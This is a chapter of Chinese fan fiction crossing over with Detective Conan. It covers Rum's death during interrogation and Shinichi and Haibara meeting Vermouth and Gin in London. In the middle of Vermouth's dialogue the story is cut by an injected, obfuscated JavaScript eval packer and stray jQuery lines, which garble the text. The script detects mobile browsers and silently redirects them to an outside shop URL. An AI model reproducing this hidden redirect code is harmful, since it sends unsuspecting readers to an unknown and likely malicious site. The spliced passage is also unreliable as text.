随着那声爆炸响起,一切都结束了。
——应该。
纸张游走的笔尖突兀的停下,降谷零吹了吹未干的墨迹。
这不对劲……他心想。
如果人生是一场电影那么这绝对是部烂尾片子,放映后分分钟被骂到自闭。
但是人生不是电影,降谷零却也感受到一种奇妙的荒诞无稽,虎头蛇尾的开场与结尾,二者完全不匹配。
金发公安放下笔,推门而入。
冷调的白光下,一个健硕的身影低着头妄图把自己藏入无孔不入的黑暗,降谷零再也找不到从前所见过的那个杀伐果断的影子。
“他交代了吗?”
下属摇摇头。
“你出去吧,我来审讯他。”
铁门再度吱呀吱呀的响起,降谷零拿起笔,看着曾经的顶头上司,“好久不见朗姆,最近过得好吗?”
黑影……朗姆第一次抬起头,他有着明显的混血特征,祖上应该是欧洲人,有着深暗发黑的绿色眼睛,他像狼一样掀开嘴唇,露出牙齿,声音从那里挤出来,每一个语调都带着凌厉的杀意,让人毫不怀疑他对降谷零的恨。
今天以前安室透是他最好用的下属和替死鬼,但是现在……降谷零荣登朗姆仇恨榜NO.1,一举超越琴酒贝尔摩德夺得桂冠,无比的殊荣。
降谷零挑挑眉,换做其他人也行会被吓到,可这样的话他在卧底时不知道听了多少,从来都是左耳进右耳出,听得耳朵都要起茧子了,完全没放在心上。
金发男人丝毫不惧他的威胁,不出意外的话他这辈子都会在监狱里度过,是没有机会找安室透报仇的。
组织的败犬无法忍受这种落差——明明前一天他还是一人之下万人之上的组织二把手(自封的),今天就成了老鼠们的阶下囚——手脚都被牢牢固定,腰腹发力他把身下的座椅弄得框框响,眼睛红得几乎要滴出血来。
“你以为你们赢了吗?大错特错,你们这群老鼠!蠢货……他们全被BOSS耍了!组织没有消失,你们……”
boom——
怒骂声戛然而止,朗姆的脑袋就好像到达极限却还在往里打气的气球,伴着砰的一声,炸开了。
墙壁,天花板,地板上沾满红色的碎片,有些较重的还在墙上留下一道道红色的血痕。
人的生命如此脆弱——
降谷零闭上眼,嫌恶的看着周围,脸色很难看,好不容易有了点线索结果一下子回归原点。
朗姆的话还是让他有一点思路,他有预感,这其中一定隐藏着一场巨大的阴谋。
“降谷先生。”见他出来风见裕也赶忙上前,他一面捂着电话听筒,一面对降谷零说:“上面要和您通电话。”
这位身经百战的卧底心中突然涌起一种不详的预感,他接过电话。
风见裕也眼看着上司的面色由青转红再转黑,他有无数次开口反驳的机会但是他没有,因为他们都知道没用,千言万语汇成一句“我知道了。”
无比疲惫。
电话挂断,他把手机还给风见裕也,五指收紧,青筋暴起,一下一下的在额头狂跳,最后的最后都变成一声叹息。
这口气呼出来像把他所有的精气神尽数抽离,他再也撑不住了,身躯摇晃几下,轰得一声倒下了。
“降谷先生!”
正义降临同样意味着黑暗如影随形。
*
伦敦
“你确定在这吗?”戴着棒球帽的高中男生半蹲下询问一个六七岁模样的小学生,他个子挺高的,就算蹲下也比那女孩要高。
这其实是个很奇怪的场景,但又因为这两人一个真名叫工藤新一一个真名叫宫野志保那就不值得大惊小怪的了。
“我确定。”以前是宫野志保现在决定当灰原哀的女孩点头。
不久之前她成功研发出APTX4869的解药,江户川柯南成功从小学生变回高中生,当然,在变回来之前他还表演了一场江户川柯南被父母带到国外读书的演出,效果不错,那群孩子哭得撕心裂肺。
相处这么久了他确实很难过,但江户川柯南本就是不该存在的人。
……他也需要好好想一想,自己到底想做什么。
思绪飞到这里工藤新一眸色暗了暗,太宰治消失之前的话对他的影响确实很大,以至于他现在做推理的时候都在怀疑自己。
他真的想要成为侦探吗?现在他的想法是出自他本身的想法吗?
这些他都需要好好想想。
“工藤?”女孩皱着眉,“你刚刚在想什么?”
他这才发现自己没听到灰原哀说话,熟练的道歉:“不好意思走神了。”
可这已经是你今天第三次走神了。她把话咽下去,灰原哀是个挺有距离感的人,工藤新一已经不是小孩子了,如果有需要他会求助的。
她重复一遍之前的话,这次工藤新一听清了。
简单来说就是灰原哀发现一个不正常的信号波动,她怀疑和组织有关系,他们两个就这么出来寻找了。
不得不说年轻就是好,思维都比成年人要莽撞不少,赤井秀一都要找外援他们两个就这么水灵灵的出门了。
一出来他们就明白自己莽撞了,但箭在弦上不得不发,还是往前走吧。
说起他们两个出现在这里的缘由也是很戏剧,他们是追着毛利兰来的。
工藤新一自曝家门,让原本就心存怀疑的毛利兰瞬间明白了他的真实身份,在他赶到之前毛利兰就被两个大半夜在立本上空开直升机的黑衣男救走了,还很贴心的把她塞进暖被窝还热了牛奶。
牛奶温度很合适,刚好入口,但牛奶不是冰块不能缓解少女迟来的愤怒,一气之下她就和闺蜜铃木园子一起出国旅游了,她们两个选择旅游的地点恰好是伦敦。
“等一下——”灰原哀举手提问,“为什么我要陪你一起到伦敦?”
毛利兰又不是她的女朋友,也谈不上欺骗,所以为什么她也要来伦敦?
工藤新一迟疑:“因为……你姐姐被赤井先生带到美国去看望姨妈了?”
灰原哀:“……说实话。”
“我不敢。”名侦探可以应付任何谜题,除了自己喜欢的女孩生气以外。
爱真是个奇妙的东西,它让勇气怯懦,让傲慢低头,让死神退避。
“而且我是未成年。”
灰原哀面无表情:“哇哦,原来你也知道你是未成年人。”
“你有没有想过如果被……”
“如果被我发现会怎么样呢?”
幽雅恬静的香风袭来,女人金色长发在胸前轻轻摇晃。
贝尔摩德拿下墨镜,红唇微勾,黑夜中也醒目耀眼的容貌笼着一抹皎洁月光。
她语速很慢,咬字含糊总带着点勾人的意味,眼波流转,覆着一层晶莹水光,“boy,你的跟踪真应该好好学一学,不然很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009440|134378||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
容易被发现的。”
眼见她没生气,工藤新一也放松下来,面对贝尔摩德和面对琴酒可不是一个量级的,后者简直压力山大,那怕琴酒救过他一命。
“你没有易容?!”FBI一直在追捕她和琴酒。
“今天晚上易容可不太礼貌。”金发女人愉悦的弯弯眉,“我们有个重要聚会,他们会不高兴的。”
“再说了……”她不急不慢,“他们就算真的抓到我又能怎么样?”
不对劲,真的不对劲!
工藤新一不太习惯这个不谜语人的贝尔摩德,侦探的好奇心开始蠢蠢欲动,下意识就开始套话,“这样没关系吗?”
“和他们说这么多干什么?”一个熟悉的高挑身影从黑暗中出现。
琴酒抱着一束蓝色跳舞兰出现,他还是之前工藤新一他们见过的那副18岁少年模样,一套贴身黑色礼服,半高礼帽系蓝白缎带,皮鞋踩得哒哒作响,“反正都是在套你的话。”
贝尔摩德挑眉,“不是让你在外面等吗?”
琴酒嗤笑一声,把手伸到她面前,“你问他。”
肌肉线条流畅优美的手腕上带着一块电子手表,小小的屏幕上一个褐色头发的小人躺在里面无聊的打滚,注意到莎朗目光兴奋的挥挥自己数据组成的小胖手。
她评价:“没耐心。”
“菲利克斯一直都是个没耐心的家伙。”他把自己全部的耐心都扔到人工智能里面了,研究了一辈子才把自己的过去永远留在电脑。
小人听懂他们的话,先是不可思议的睁大眼睛,然后气呼呼的抱着手臂转身背对着他们,头上还有代表生气的颜文字。
“小心眼。”
“要是你把他气哭了自己去和伏特加解释。”
小菲利克斯拥有自主学习能力,它有着菲利克斯的全部记忆,又比菲利克斯更幼稚更年轻。这个出身不过十几年的人工智能它能做到的事情远超所有人的想像,网络世界宛如无人之境任它玩乐。
这是菲利克斯留给所有人的遗物,也是最后一道防线。
贝尔摩德看着屏幕里幼稚的人工智能悻悻然收回手指,毕竟伏特加才是他们中开车的那个。
“好了好了,走吧。”
贝尔摩德抱着琴酒的手臂冲两个孩子——主要是工藤新一——摆摆手,“回去吧,别再跟过来了。”
接下来的路不是他们能跟的,那是只有家人才知道的“秘密基地”。
“不然真的会死掉哦!”
她笑着说话,在场的人却没谁把这当成一句玩笑话。
晚风微凉,灰原哀拢紧外套,今天没什么收获侦探有些提不起精神,低头摆弄脚下的小石子。
过了良久,他像是突然想明白什么事情一样问灰原哀:“最近有什么国际会议在伦敦召开吗?”
“你问哪个?”
哪个?
工藤新一微微睁大眼,灰原哀冷漠的看着,“每一年的今天,伦敦都会有来自世界各地的政客,记者,医生,高层到来。”
“每一年。”
一股突入而来的寒气顺着脊髓往上爬,宛如一条阴冷潮湿的蛇死死缠绕他的心脏,毒蛇稍稍用力心脏就被攥得生疼,头脑阵阵发昏。
或许组织从未消失。
它溶于水,溶于空气,溶于人们的日常生活,它随风飘扬,从未离去。
黑色阴影以另一种形式继续笼罩在这个世界上空。